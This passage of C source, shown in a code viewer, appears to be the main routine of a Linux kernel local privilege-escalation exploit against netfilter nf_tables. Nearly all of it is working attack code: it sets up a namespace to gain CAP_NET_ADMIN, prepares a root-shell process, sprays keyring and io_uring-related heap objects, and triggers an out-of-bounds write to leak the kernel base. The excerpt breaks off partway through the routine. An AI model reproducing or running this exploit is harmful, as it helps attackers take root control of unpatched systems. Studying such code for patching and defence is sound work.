| 752 | #define SPRAY_SIZE 300 |
| 753 | |
| 754 | int main(int argc, char **argv) { |
| 755 | int sock; |
| 756 | struct sockaddr_nl snl; |
| 757 | struct write4_payload payload; |
| 758 | struct keyring_payload leak_payload; |
| 759 | struct leak *bases; |
| 760 | struct fd_uring *fd_buffer; |
| 761 | key_serial_t *id_buffer; |
| 762 | char xattr_target_filename[] = "/tmp/tmpfs/file0"; // used for xattr spray |
| 763 | // 1. initialize |
| 764 | // 1-1 set affinity |
| 765 | set_cpu_affinity(0, 0); |
| 766 | // 1-2 start a process wait for getting shell |
| 767 | prepare_root_shell(); |
| 768 | printf("[+] Second process currently waiting\n"); |
| 769 | // 1-3 setup namespace |
| 770 | new_ns(); |
| 771 | printf("[+] Get CAP_NET_ADMIN capability\n"); |
| 772 | // 1-4 Netfilter netlink socket creation |
| 773 | if ((sock = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_NETFILTER)) < 0) |
| 774 | error("socket"); |
| 775 | printf("[+] Netlink socket created\n"); |
| 776 | |
| 777 | memset(&snl, 0, sizeof(snl)); |
| 778 | snl.nl_family = AF_NETLINK; |
| 779 | snl.nl_pid = getpid(); |
| 780 | if (bind(sock, (struct sockaddr *)&snl, sizeof(snl)) < 0) |
| 781 | error("bind"); |
| 782 | printf("[+] Netlink socket bound\n"); |
| 783 | // 2. setup nf_tables |
| 784 | // 2-1 Create a netfilter table |
| 785 | create_table(sock, TABLE_NAME); |
| 786 | printf("[+] Table %s created\n", TABLE_NAME); |
| 787 | |
| 788 | // 2-2 Create a netfilter set for the info leak |
| 789 | create_set(sock, LEAK_SET_NAME, KMALLOC64_KEYLEN, sizeof(struct keyring_payload), TABLE_NAME, ID); |
| 790 | printf("[+] Set for the leak created\n"); |
| 791 | |
| 792 | // 2-3 Create a netfilter set for the write primitive |
| 793 | create_set(sock, SET_NAME, KMALLOC64_KEYLEN, sizeof(struct write4_payload), TABLE_NAME, ID + 1); |
| 794 | printf("[+] Set for write primitive created\n"); |
| 795 | // 3. leak kernel base |
| 796 | // 3-1 Prepare the payload for the leak */ |
| 797 | int try_num = 0; |
| 798 | memset(&leak_payload, 0, sizeof(struct keyring_payload)); |
| 799 | leak_payload.len = USHRT_MAX; |
| 800 | |
| 801 | printf("[*] Leak in process"); |
| 802 | fflush(stdout); |
| 803 | retry: |
| 804 | // 3-2 Spray 50 user_key_payload |
| 805 | id_buffer = spray_keyring(SPRAY_KEY_SIZE); |
| 806 | |
| 807 | // 3-3 trigger OOB to modify user_key_payload->datalen |
| 808 | add_elem_to_set(sock, LEAK_SET_NAME, KMALLOC64_KEYLEN, TABLE_NAME, ID, sizeof(struct keyring_payload), (uint8_t *)&leak_payload); |
| 809 | |
| 810 | // 3-4 Spray 300 percpu_ref_data in kmalloc-64 |
| 811 | fd_buffer = calloc(SPRAY_SIZE, sizeof(struct fd_uring)); // 300 |
nothing calls this directly
no test coverage detected